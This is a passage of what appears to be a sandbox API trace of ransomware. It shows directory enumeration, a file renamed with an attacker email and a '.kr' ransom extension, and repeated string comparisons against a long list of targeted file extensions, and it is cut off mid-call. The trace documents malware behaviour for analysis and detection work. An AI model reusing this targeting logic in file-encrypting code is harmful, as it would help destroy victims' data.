ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0088.445] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.445] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc76ed1d4, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc76ed1d4, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc76ed1d4, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0088.446] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0088.446] lstrlenW (lpString=".1cd") returned 4 [0088.446] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0088.446] lstrlenW (lpString=".3ds") returned 4 [0088.446] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0088.446] lstrlenW (lpString=".3fr") returned 4 [0088.446] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0088.446] lstrlenW (lpString=".3g2") returned 4 [0088.446] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0088.446] lstrlenW (lpString=".3gp") returned 4 [0088.446] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0088.446] lstrlenW (lpString=".7z") returned 3 [0088.446] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0088.446] lstrlenW (lpString=".accda") returned 6 [0088.446] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0088.446] lstrlenW (lpString=".accdb") returned 6 [0088.446] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0088.446] lstrlenW (lpString=".accdc") returned 6 [0088.446] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0088.446] lstrlenW (lpString=".accde") returned 6 [0088.446] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0088.446] lstrlenW (lpString=".accdt") returned 6 [0088.446] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0088.446] lstrlenW (lpString=".accdw") returned 6 [0088.446] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0088.447] lstrlenW (lpString=".adb") returned 4 [0088.447] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0088.447] lstrlenW (lpString=".adp") returned 4 [0088.447] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0088.447] lstrlenW (lpString=".ai") returned 3 [0088.447] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0088.447] lstrlenW (lpString=".ai3") returned 4 [0088.447] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0088.447] lstrlenW (lpString=".ai4") returned 4 [0088.447] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0088.447] lstrlenW (lpString=".ai5") returned 4 [0088.447] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0088.447] lstrlenW (lpString=".ai6") returned 4 [0088.447] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0088.447] lstrlenW (lpString=".ai7") returned 4 [0088.447] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0088.447] lstrlenW (lpString=".ai8") returned 4 [0088.447] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0088.447] lstrlenW (lpString=".anim") returned 5 [0088.447] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0088.447] lstrlenW (lpString=".arw") returned 4 [0088.447] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0088.447] lstrlenW (lpString=".as") returned 3 [0088.447] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0088.447] lstrlenW (lpString=".asa") returned 4 [0088.447] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0088.448] lstrlenW (lpString=".asc") returned 4 [0088.448] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0088.448] lstrlenW (lpString=".ascx") returned 5 [0088.448] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0088.448] lstrlenW (lpString=".asm") returned 4 [0088.448] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0088.448] lstrlenW (lpString=".asmx") returned 5 [0088.448] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0088.448] lstrlenW (lpString=".asp") returned 4 [0088.448] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0088.448] lstrlenW (lpString=".aspx") returned 5 [0088.448] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0088.448] lstrlenW (lpString=".asr") returned 4 [0088.448] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0088.448] lstrlenW (lpString=".asx") returned 4 [0088.448] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0088.448] lstrlenW (lpString=".avi") returned 4 [0088.448] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0088.448] lstrlenW (lpString=".avs") returned 4 [0088.448] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0088.448] lstrlenW (lpString=".backup") returned 7 [0088.448] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0088.448] lstrlenW (lpString=".bak") returned 4 [0088.448] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0088.448] lstrlenW (lpString=".bay") returned 4 [0088.448] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0088.449] lstrlenW (lpString=".bd") returned 3 [0088.449] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0088.449] lstrlenW (lpString=".bin") returned 4 [0088.449] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0088.449] lstrlenW (lpString=".bmp") returned 4 [0088.449] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0088.449] lstrlenW (lpString=".bz2") returned 4 [0088.449] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0088.449] lstrlenW (lpString=".c") returned 2 [0088.449] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0088.449] lstrlenW (lpString=".cdr") returned 4 [0088.449] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0088.449] lstrlenW (lpString=".cer") returned 4 [0088.449] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0088.449] lstrlenW (lpString=".cf") returned 3 [0088.449] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0088.449] lstrlenW (lpString=".cfc") returned 4 [0088.449] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0088.449] lstrlenW (lpString=".cfm") returned 4 [0088.449] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0088.449] lstrlenW (lpString=".cfml") returned 5 [0088.449] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0088.449] lstrlenW (lpString=".cfu") returned 4 [0088.449] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0088.449] lstrlenW (lpString=".chm") returned 4 [0088.450] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".cin") returned 4 [0088.450] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".class") returned 6 [0088.450] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0088.450] lstrlenW (lpString=".clx") returned 4 [0088.450] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".config") returned 7 [0088.450] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0088.450] lstrlenW (lpString=".cpp") returned 4 [0088.450] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".cr2") returned 4 [0088.450] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".crt") returned 4 [0088.450] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".crw") returned 4 [0088.450] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".cs") returned 3 [0088.450] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0088.450] lstrlenW (lpString=".css") returned 4 [0088.450] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".csv") returned 4 [0088.450] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".cub") returned 4 [0088.450] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0088.450] lstrlenW (lpString=".dae") returned 4 [0088.451] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".dat") returned 4 [0088.451] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".db") returned 3 [0088.451] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0088.451] lstrlenW (lpString=".dbf") returned 4 [0088.451] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".dbx") returned 4 [0088.451] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".dc3") returned 4 [0088.451] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".dcm") returned 4 [0088.451] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".dcr") returned 4 [0088.451] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".der") returned 4 [0088.451] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".dib") returned 4 [0088.451] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".dic") returned 4 [0088.451] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".dif") returned 4 [0088.451] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0088.451] lstrlenW (lpString=".divx") returned 5 [0088.451] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0088.452] lstrlenW (lpString=".djvu") returned 5 [0088.452] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0088.452] lstrlenW (lpString=".dng") returned 4 [0088.452] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0088.452] lstrlenW (lpString=".doc") returned 4 [0088.452] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0088.452] lstrlenW (lpString=".docm") returned 5 [0088.452] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0088.452] lstrlenW (lpString=".docx") returned 5 [0088.452] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0088.452] lstrlenW (lpString=".dot") returned 4 [0088.452] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0088.452] lstrlenW (lpString=".dotm") returned 5 [0088.452] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0088.452] lstrlenW (lpString=".dotx") returned 5 [0088.452] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0088.452] lstrlenW (lpString=".dpx") returned 4 [0088.452] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0088.452] lstrlenW (lpString=".dqy") returned 4 [0088.452] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0088.452] lstrlenW (lpString=".dsn") returned 4 [0088.452] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0088.452] lstrlenW (lpString=".dt") returned 3 [0088.452] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0088.452] lstrlenW (lpString=".dtd") returned 4 [0088.452] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".dwg") returned 4 [0088.453] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".dwt") returned 4 [0088.453] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".dx") returned 3 [0088.453] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0088.453] lstrlenW (lpString=".dxf") returned 4 [0088.453] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".edml") returned 5 [0088.453] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0088.453] lstrlenW (lpString=".efd") returned 4 [0088.453] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".elf") returned 4 [0088.453] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".emf") returned 4 [0088.453] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".emz") returned 4 [0088.453] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".epf") returned 4 [0088.453] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".eps") returned 4 [0088.453] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0088.453] lstrlenW (lpString=".epsf") returned 5 [0088.453] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0088.453] lstrlenW (lpString=".epsp") returned 5 [0088.454] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0088.454] lstrlenW (lpString=".erf") returned 4 [0088.454] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".exr") returned 4 [0088.454] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".f4v") returned 4 [0088.454] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".fido") returned 5 [0088.454] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0088.454] lstrlenW (lpString=".flm") returned 4 [0088.454] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".flv") returned 4 [0088.454] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".frm") returned 4 [0088.454] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".fxg") returned 4 [0088.454] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".geo") returned 4 [0088.454] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".gif") returned 4 [0088.454] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".grs") returned 4 [0088.454] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0088.454] lstrlenW (lpString=".gz") returned 3 [0088.454] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0088.454] lstrlenW (lpString=".h") returned 2 [0088.455] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0088.455] lstrlenW (lpString=".hdr") returned 4 [0088.455] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".hpp") returned 4 [0088.455] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".hta") returned 4 [0088.455] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".htc") returned 4 [0088.455] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".htm") returned 4 [0088.455] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".html") returned 5 [0088.455] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0088.455] lstrlenW (lpString=".icb") returned 4 [0088.455] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".ics") returned 4 [0088.455] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".iff") returned 4 [0088.455] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".inc") returned 4 [0088.455] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".indd") returned 5 [0088.455] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0088.455] lstrlenW (lpString=".ini") returned 4 [0088.455] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0088.455] lstrlenW (lpString=".iqy") returned 4 [0088.456] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0088.456] lstrlenW (lpString=".j2c") returned 4 [0088.456] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0088.456] lstrlenW (lpString=".j2k") returned 4 [0088.456] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0088.456] lstrlenW (lpString=".java") returned 5 [0088.456] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0088.456] lstrlenW (lpString=".jp2") returned 4 [0088.456] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0088.456] lstrlenW (lpString=".jpc") returned 4 [0088.456] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0088.456] lstrlenW (lpString=".jpe") returned 4 [0088.456] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0088.456] lstrlenW (lpString=".jpeg") returned 5 [0088.456] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0088.456] lstrlenW (lpString=".jpf") returned 4 [0088.456] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0088.456] lstrlenW (lpString=".jpg") returned 4 [0088.456] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0088.456] lstrlenW (lpString=".jpx") returned 4 [0088.456] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0088.456] lstrlenW (lpString=".js") returned 3 [0088.456] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0088.456] lstrlenW (lpString=".jsf") returned 4 [0088.456] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".json") returned 5 [0088.457] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0088.457] lstrlenW (lpString=".jsp") returned 4 [0088.457] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".kdc") returned 4 [0088.457] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".kmz") returned 4 [0088.457] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".kwm") returned 4 [0088.457] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".lasso") returned 6 [0088.457] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0088.457] lstrlenW (lpString=".lbi") returned 4 [0088.457] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".lgf") returned 4 [0088.457] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".lgp") returned 4 [0088.457] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".log") returned 4 [0088.457] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".m1v") returned 4 [0088.457] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".m4a") returned 4 [0088.457] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0088.457] lstrlenW (lpString=".m4v") returned 4 [0088.457] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".max") returned 4 [0088.458] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".md") returned 3 [0088.458] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0088.458] lstrlenW (lpString=".mda") returned 4 [0088.458] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".mdb") returned 4 [0088.458] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".mde") returned 4 [0088.458] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".mdf") returned 4 [0088.458] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".mdw") returned 4 [0088.458] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".mef") returned 4 [0088.458] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".mft") returned 4 [0088.458] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".mfw") returned 4 [0088.458] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".mht") returned 4 [0088.458] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0088.458] lstrlenW (lpString=".mhtml") returned 6 [0088.458] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0088.458] lstrlenW (lpString=".mka") returned 4 [0088.459] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0088.459] lstrlenW (lpString=".mkidx") returned 6 [0088.459] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0088.459] lstrlenW (lpString=".mkv") returned 4 [0088.459] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0088.459] lstrlenW (lpString=".mos") returned 4 [0088.459] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0088.459] lstrlenW (lpString=".mov") returned 4 [0088.459] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0088.459] lstrlenW (lpString=".mp3") returned 4 [0088.459] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0088.459] lstrlenW (lpString=".mp4") returned 4 [0088.459] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0088.459] lstrlenW (lpString=".mpeg") returned 5 [0088.459] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0088.459] lstrlenW (lpString=".mpg") returned 4 [0088.459] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0088.459] lstrlenW (lpString=".mpv") returned 4 [0088.459] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0088.459] lstrlenW (lpString=".mrw") returned 4 [0088.459] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0088.459] lstrlenW (lpString=".msg") returned 4 [0088.460] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0088.460] lstrlenW (lpString=".mxl") returned 4 [0088.460] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0088.460] lstrlenW (lpString=".myd") returned 4 [0088.460] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0088.460] lstrlenW (lpString=".myi") returned 4 [0088.460] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0088.460] lstrlenW (lpString=".nef") returned 4 [0088.460] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0088.460] lstrlenW (lpString=".nrw") returned 4 [0088.460] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0088.460] lstrlenW (lpString=".obj") returned 4 [0088.460] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0088.460] lstrlenW (lpString=".odb") returned 4 [0088.460] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0088.460] lstrlenW (lpString=".odc") returned 4 [0088.460] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0088.460] lstrlenW (lpString=".odm") returned 4 [0088.461] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".odp") returned 4 [0088.461] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".ods") returned 4 [0088.461] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".oft") returned 4 [0088.461] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".one") returned 4 [0088.461] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".onepkg") returned 7 [0088.461] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0088.461] lstrlenW (lpString=".onetoc2") returned 8 [0088.461] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0088.461] lstrlenW (lpString=".opt") returned 4 [0088.461] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".oqy") returned 4 [0088.461] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".orf") returned 4 [0088.461] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".p12") returned 4 [0088.461] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".p7b") returned 4 [0088.461] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".p7c") returned 4 [0088.461] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0088.461] lstrlenW (lpString=".pam") returned 4 [0088.462] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pbm") returned 4 [0088.462] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pct") returned 4 [0088.462] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pcx") returned 4 [0088.462] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pdd") returned 4 [0088.462] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pdf") returned 4 [0088.462] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pdp") returned 4 [0088.462] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pef") returned 4 [0088.462] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pem") returned 4 [0088.462] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pff") returned 4 [0088.462] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pfm") returned 4 [0088.462] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pfx") returned 4 [0088.462] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".pgm") returned 4 [0088.462] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0088.462] lstrlenW (lpString=".php") returned 4 [0088.463] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0088.463] lstrlenW (lpString=".php3") returned 5 [0088.463] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0088.463] lstrlenW (lpString=".php4") returned 5 [0088.463] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0088.463] lstrlenW (lpString=".php5") returned 5 [0088.463] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0088.463] lstrlenW (lpString=".phtml") returned 6 [0088.463] lstrcmpiW (lpString1=".phtml", 